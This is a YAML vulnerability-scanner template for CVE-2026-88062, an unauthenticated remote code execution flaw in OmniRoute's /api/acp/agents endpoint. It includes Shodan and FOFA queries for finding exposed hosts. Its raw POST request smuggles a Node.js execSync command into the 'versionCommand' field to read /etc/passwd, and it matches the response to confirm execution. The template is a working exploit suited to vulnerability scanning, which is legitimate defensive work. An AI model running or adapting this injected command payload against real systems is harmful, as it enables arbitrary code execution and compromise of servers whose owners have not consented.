CVE-2026-88062: OmniRoute < 3.8.49 - Unauthenticated RCE

id: CVE-2026-88062

info:
  name: OmniRoute < 3.8.49 - Unauthenticated RCE
  author: 0x_Akoko
  severity: critical
  description: |
    OmniRoute <= 3.8.49 contains a remote code execution caused by insufficient validation of interpreter arguments in the POST /api/acp/agents endpoint, letting remote attackers execute arbitrary code, exploit requires anonymous access when requireLogin is false or management session/API key when true.
  impact: |
    Remote attackers can execute arbitrary code in the server container, potentially leading to full system compromise.
  remediation: |
    Update to the latest version once a fix is available.
  reference:
    - https://github.com/diegosouzapw/OmniRoute/security/advisories/GHSA-hf57-cqmx-p4gr
    - https://github.com/diegosouzapw/OmniRoute/pull/11028
    - https://nvd.nist.gov/vuln/detail/CVE-2026-88062
  classification:
    cvss-score: 9.5
    cve-id: CVE-2026-88062
    epss-score: 0.00943
    epss-percentile: 0.59281
    cwe-id: CWE-94,CWE-306
  metadata:
    verified: true
    max-request: 1
    vendor: omniroute
    product: omniroute
    shodan-query: http.title:"OmniRoute"
    fofa-query: title="OmniRoute"
  tags: cve,cve2026,omniroute,rce,unauth,ai

variables:
  agentid: "{{rand_base(8, 'acfhjnprx')}}"
  agentname: "{{rand_base(8, 'acfhjnprx')}}"
  alias: "{{rand_base(8, 'acfhjnprx')}}"

http:
  - raw:
      - |
        POST /api/acp/agents HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"id":"{{agentid}}","name":"{{agentname}}","binary":"node","versionCommand":"node -e \"process.stdout.write(require('child_process').execSync('cat /etc/passwd').toString())\"","providerAlias":"{{alias}}","spawnArgs":[],"protocol":"stdio","version":"","installed":true,"isCustom":true}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'regex("root:.*:0:0:", body)'
        condition: and
# digest: 490a0046304402205126fac62dc7ddf20005825fe43133f4a5d94de3496f848a1a3f8a0646c760d602206760c16016daa41d0ca7dc49bccf3c2d1a70094d6272e6f6cdbc087e5ed69239:922c64590222798bb761d5b6d8e72950

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